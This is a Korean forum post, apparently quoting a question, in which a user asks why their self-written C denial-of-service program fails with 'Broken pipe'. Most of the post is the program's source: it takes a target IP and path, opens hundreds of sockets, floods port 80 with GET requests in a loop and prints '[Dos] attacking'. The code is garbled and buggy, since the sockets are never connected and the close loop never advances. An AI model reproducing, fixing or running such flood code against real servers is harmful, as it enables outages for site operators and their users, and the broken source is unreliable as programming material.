상용웹서버를 공격할 생각은 추호도 없습니다.
다만 공부를 해볼뿐입니다. 서버도 제 서버에 공격해볼꺼구요..
: 포트 80번으로 GET /index.html을
: 100000만번 호출하게 했습니다.
: 소켓으로 연결하고 닫고 while루프안에 무수히 진행시켜서
: 소스를 짜고 컴파일 해서 실행시키는데.
: 실행하니.
: Broken pipe 라는 문장이 뜹니다..그리고 실행은 여기서 멈추어 버립니다
: 대체 이게 무슨 말인지.. 궁금합니다.
: 답변해주세요..필요하시다면 제가 소스를 올려드리겠습니다.
: 책에 실린것을 변형한 소스입니다..
:
: -------------소스---------------------
:
: #include <stdio.h>
: #include <string.h>
: #include <sys/types.h>
: #include <sys/socket.h>
: #include <netinet/in.h>
: #include <netdb.h>
:
: #define LOPNUM 99999
:
: main(int argc,char *argv<>)
: {
: char destination[128],webpath[128];
: char makeline[128];
: int connloop=0;
: int connect=0;
: int general_loop=0;
: int a,b,c,d;
: int sock[1000];
: int numsock=400;
: char host_dest[100];
: char enter[2];
:
: struct hostent *target;
: struct sockaddr_in sock_dest;
:
: enter[0]='';
: enter[1]=' ';
:
: if(argc < 3)
: {
: fprintf(stdout,"Usage:%s <IP for attack> <webpath>
: ",argv[0]);
: exit
: (0);
: }
: strcpy(destination,argv[1]);
: strcpy(webpath,argv[2]);
:
: if(sscanf(destination,"%d.%d.%d.%d",&a,&b,&c,&d) !=4)
: {
: target= gethostbyname(destination);
: if(target == NULL)
: {
: fprintf(stdout,"Stop!.cannot resolve host %
: s",destination);
:
: exit(0);
: }
:
: sprintf(host_dest,"%d.%d.%d.%d",(unsigned char)
: target->h_addr_list[0][0],(unsigned char)target->h_addr_list[0][1],
: (unsigned char)target->h_addr_list[0][2],(unsigned char)target-
: >h_addr_list[0][3]);
:
: }
: else
: {
: strncpy(host_dest,destination,99);
: }
:
: fprintf(stdout," [Dos] attacking : %s",host_dest);
:
: sock_dest.sin_family = AF_INET;
: sock_dest.sin_port = htons(80);
: sock_dest.sin_addr.s_addr = inet_addr(host_dest);
:
: while(connloop <= LOPNUM)
: {
: while(general_loop < numsock)
: {
: sock[general_loop] = socket(AF_INET,SOCK_STREAM,0);
: if(sock[general_loop] < 0)
: {
: perror("connect");
: exit(0);
: }
:
: general_loop++;
: }
:
: strcpy(makeline,"GET ");
: strcat(makeline,webpath);
: strcat(makeline,enter);
:
: general_loop=0;
: while(general_loop < numsock)
: {
: send(sock[general_loop],makeline,strlen
: (makeline)*sizeof(char),0);
: general_loop++;
: }
: general_loop=0;
: while(general_loop < numsock)
: {
: close(sock[general_loop]);
: }
: connloop++;
: }
: }
:
: --
: 오늘도 열심히--오늘도 열심히